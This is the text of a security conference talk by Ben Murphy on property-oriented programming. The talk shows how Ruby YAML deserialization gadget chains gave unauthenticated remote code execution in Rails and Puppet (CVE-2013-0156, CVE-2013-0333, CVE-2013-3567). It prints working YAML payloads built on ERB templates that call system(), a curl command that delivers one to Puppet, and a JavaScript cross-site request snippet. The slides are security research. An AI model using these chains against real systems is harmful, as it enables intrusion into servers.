Property Oriented Programming
Applied to Ruby
History
Presented by Stefan Esser at Blackhat 2010
Java Spring CVE-2011-2894
Java Sandbox Bypasses
Ruby YAML DeserializationÂ
return oriented programming
Property Oriented Programming
Chain objects instead of gadgets
Create chains using deserialization
Create chains using sandboxed code
PIMP MY RAILS
CVE-2013-0156
Rails Vulnerability
Unauthenticated Remote Code ExecutionÂ
Affects most Rails versions
Affects most Ruby versions
Metasploit Public Exploit only Ruby 1.9.x
Uses ruby/hash trick (1.9.x)
1.8.x "Private Exploit"
Metasploit Pull Request
Pull Request Exploit
Uses Gem::Requirement#yaml_initialize as entry point
Appeared in Rubygems 2.x
Maybe not in old versions of Ruby
Can we do better?
Use #to_s as Entry Point
<title type="yaml">--- !ruby/object:HTML::Tag
attributes: []
children: !ruby/object:Rack::Response
header: {}
block: !ruby/object:Rack::ShowStatus
app: !ruby/object:Rack::Cascade
apps: []
template: !ruby/object:ERB
src: system("touch /tmp/owned")
length: 0
body: []
</title>
https://gist.github.com/benmmurphy/e92566323279ba096e29
Deserialized Object Graph
HTML::Tag#to_s
class Tag
def to_s
if @closing == :close
"</#{@name}>"
else
#...
@children.each { |child| s << child.to_s }
#...
end
end
end
Rack::Response#Each
class Response
def each(&callback)
@body.each(&callback)
@writer = callback
@block.call(self) if @block
end
end
Rack::ShowStatus#call
class ShowStatus
def call(env)
status, headers, body = @app.call(env)
headers = Utils::HeaderHash.new(headers)
empty = headers['Content-Length'].to_i <= 0
if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
#...
body = @template.result(binding)
#...
else
[status, headers, body]
end
end
end
@template.call gives code execution
Rails is omakase
CVE-2013-0333
JSON ExPlOIT
--- !ruby/object%3aHTML%3a%3aTag
attributes: []
children: !ruby/object%3aRack%3a%3aResponse
header: {}
block: !ruby/object%3aRack%3a%3aShowStatus
app: !ruby/object%3aRack%3a%3aCascade
apps: []
template: !ruby/object%3aERB
src: system("touch /tmp/owned")
length: 0
body: []
https://gist.github.com/benmmurphy/3686731bc0210196757d
Rubygems Gets owned
Gem uploaded with malicious YAML metadata
https://gist.github.com/titanous/d891e876c53e55bf0920
https://gist.github.com/titanous/3e4829f79dbd1be11295
Credentials Stolen
S3 and database credentials uploaded to pastie
Rubygems.org machine needed to be rebuilt
Fear of backdoored gems
Heroku Ruby deploys suspended
All packages needed to be verified with mirrors
Blacklisting is a Solution?
Puppet CVE-2013-3567
Puppet Exploit
--- !ruby/object:Puppet::SSL::CertificateRequest
content: !ruby/object:Puppet::Parser::TemplateWrapper
"__scope__": !ruby/object:Puppet::Parser::Scope
symtable:
to_pem: !ruby/object:Puppet::Parser::AST::Concat
value: !ruby/object:Puppet::Settings
config: !ruby/object:Rack::Response
header: {}
block: !ruby/object:Rack::ShowStatus
app: !ruby/object:Rack::Cascade
apps: []
template: !ruby/object:ERB
src: "system('touch /tmp/ownzor')"
body: []
ephemeral: []
name: rce
curl -v -k -X PUT -H "Content-Type: text/yaml" -H "Accept: s" --data-binary @rce.yaml "http://localhost:3000/production/certificate_request/rce"
https://gist.github.com/benmmurphy/c6a4d97ecf9dc41bd6d9
PUPPET REMOTE CODE EXECUTION
Unauthenticated Remote Code Execution
Depends on Rack classes being loaded
Won't work with default 'webrick' deployment
Need network access to the puppet machine :(
Bypassing the firewall
puppet cSRF
Trick sysadmin into going to cat picture site
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://puppethost");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("content=---+%21ruby%2Fobject%3....");
https://gist.github.com/benmmurphy/536cf6c28031e60ab7c7
Browsers allow you to post application/x-www-form-urlencoded cross domain
Puppet invokes YAML.load on parameters starting with ---
Thanks For Listening
http://twitter.com/benmmurphy
http://benmmurphy.github.io
Property Oriented Programming
By Ben Murphy
Property Oriented Programming
- 3,744